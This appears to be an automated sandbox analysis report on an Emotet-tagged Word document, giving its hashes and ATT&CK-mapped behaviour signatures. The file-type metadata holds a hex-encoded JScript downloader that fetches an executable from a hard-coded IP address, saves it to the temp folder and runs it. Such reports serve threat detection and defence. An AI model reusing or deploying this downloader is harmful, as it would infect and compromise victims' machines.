Managed XDR

info-autosaved-311253422108544768-.asd (Emotet) — malware analysis report

File info

Filename
info-autosaved-311253422108544768-.asd
File type
Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: , Subject: b, Author: c, Keywords: g, Comments: 66756e6374696f6e20737461727428297b7472797b76617220783d6e657720416374697665584f626a65637428226d73786d6c322e786d6c6874747022293b76617220663d6e657720416374697665584f626a6563742822736372697074696e672e66696c6573797374656d6f626a65637422293b76617220773d6e657720416374697665584f626a6563742822777363726970742e7368656c6c22293b76617220613d6e657720416374697665584f626a656374282261646f64622e73747265616d22293b76617220703d772e457870616e64456e7669726f6e6d656e74537472696e6773282225746d702522292b225c5c33313230392e657865223b782e6f70656e2822474554222c22687474703a2f2f38382e3131392e3137392e3136302f316269796375686f7165747a6f776161776e6561622e657865222c66616c7365293b782e73656e6428293b696628782e737461747573203d3d20323030297b696628662e66696c65657869737473287029297b662e64656c65746566696c652870293b7d612e6f70656e28293b612e747970653d313b612e777269746528782e726573706f6e7365626f6479293b612e73617665746f66696c652870293b612e636c6f736528293b772e72756e28702c312c30293b7d7d63617463682865297b7d7d, Template: Normal.dotm, Last Saved By: admin, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Sun Aug 7 02:17:00 2016, Last Saved Time/Date: Sun Aug 7 02:17:00 2016, Number of Pages: 1, Number of Words: 23, Number of Characters: 121, Security: 0
File size
125 KB
First seen
Last seen

Environment

win7/x86 en

Hashes

SHA1
e343ee493090b647def26f80a33da37ffec2f3b5
SHA256
8ac32263921acda45f9d45d2fb7f88b9af6460954c88117ca6884a3ba3f007b4
MD5
830279ff5237527f546fa3b24dcf79c6

Malwares

  • Emotet

Signatures

Execution

T1204.002 office_strings: Office file contains suspicious strings
T1064 office_macros: The document contains macro
T1064 office_macros_autoexec: The document contains an auto-start macro
T1204.002 office_vb_load: Microsoft Office is loading VB DLL files (macros usage indicator)

Privilege Escalation

T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Defense Evasion

T1064 office_macros: The document contains macro
T1064 office_macros_autoexec: The document contains an auto-start macro
T1497 evasion_trustrecords: Attempts to detect Sandbox exploring trusted documents
T1497.001 antivm_queries_computername: Retrieves the computer name
T1134 opens_thread_token: Opens the access token associated with a thread
T1134 opens_process_token: Opens the access token associated with a process

Discovery

T1497 evasion_trustrecords: Attempts to detect Sandbox exploring trusted documents
T1497.001 antivm_queries_computername: Retrieves the computer name

Other

yara_rules: Static rules
get_policy_info: Retrieves information about a Policy object
test_check_service: Starts services
antisandbox_check_graphics_card: Uses CreateDXGIFactory, potentially to detect graphics card
checktokenmembership: Checks user token with CheckTokenMembership call

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